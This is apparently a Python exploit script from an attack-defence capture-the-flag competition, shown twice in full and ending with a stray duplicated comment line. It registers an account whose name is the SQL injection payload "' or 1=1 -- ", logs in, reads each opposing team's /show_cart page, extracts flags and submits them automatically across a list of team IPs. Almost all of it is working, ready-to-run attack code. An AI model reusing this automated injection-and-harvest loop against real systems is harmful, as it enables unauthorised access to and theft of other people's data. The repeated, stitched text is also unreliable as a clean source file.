<filename>AD-INCTF-SECCON/masalaD/exploit.py<gh_stars>10-100
import requests
import random
import string
import json
from utilities import extract_flag, submit_flag

s = requests.Session()
host = '10.42.0.72'
port = 5200

url = lambda x: f'http://{host}:{port}' + x

def random_string(l):
    return ''.join(random.choice(string.ascii_letters) for i in range(l))


def signup(name, password, email):
    r = s.post(url('/signup'), data={
        "name": name,
        "password": password,
        "email": email,
    }, timeout=4)

    print(r.status_code)
    # print(r.text)
    return r.text


def login(email, password):
    r = s.post(url('/login'), data= {
        "email": email,
        "password": password,
    }, timeout=4)

    # print(r.text)
    return r.text


def get_show_cart():
    r = s.get(url('/show_cart'), timeout=4)

    return r.text


teams = json.load(open('teamlist.json'))[::-1][6:]
for team in teams:
    try:
        host = team['ip']
        print(f'Exploiting team {team["name"]} for {url("/")}')
        name = "' or 1=1 -- "
        password = random_string(10)
        email = random_string(10)
        signup(name, password, email)
        login(email, password)
        x = get_show_cart()

        flags = extract_flag(x)
        print(flags)

        submit_flag(flags)
    except Exception:
        print(f'Failed for {team["name"]}')


<filename>AD-INCTF-SECCON/masalaD/exploit.py<gh_stars>10-100
import requests
import random
import string
import json
from utilities import extract_flag, submit_flag

s = requests.Session()
host = '10.42.0.72'
port = 5200

url = lambda x: f'http://{host}:{port}' + x

def random_string(l):
    return ''.join(random.choice(string.ascii_letters) for i in range(l))


def signup(name, password, email):
    r = s.post(url('/signup'), data={
        "name": name,
        "password": password,
        "email": email,
    }, timeout=4)

    print(r.status_code)
    # print(r.text)
    return r.text


def login(email, password):
    r = s.post(url('/login'), data= {
        "email": email,
        "password": password,
    }, timeout=4)

    # print(r.text)
    return r.text


def get_show_cart():
    r = s.get(url('/show_cart'), timeout=4)

    return r.text


teams = json.load(open('teamlist.json'))[::-1][6:]
for team in teams:
    try:
        host = team['ip']
        print(f'Exploiting team {team["name"]} for {url("/")}')
        name = "' or 1=1 -- "
        password = random_string(10)
        email = random_string(10)
        signup(name, password, email)
        login(email, password)
        x = get_show_cart()

        flags = extract_flag(x)
        print(flags)

        submit_flag(flags)
    except Exception:
        print(f'Failed for {team["name"]}')


# print(r.text) # print(r.text)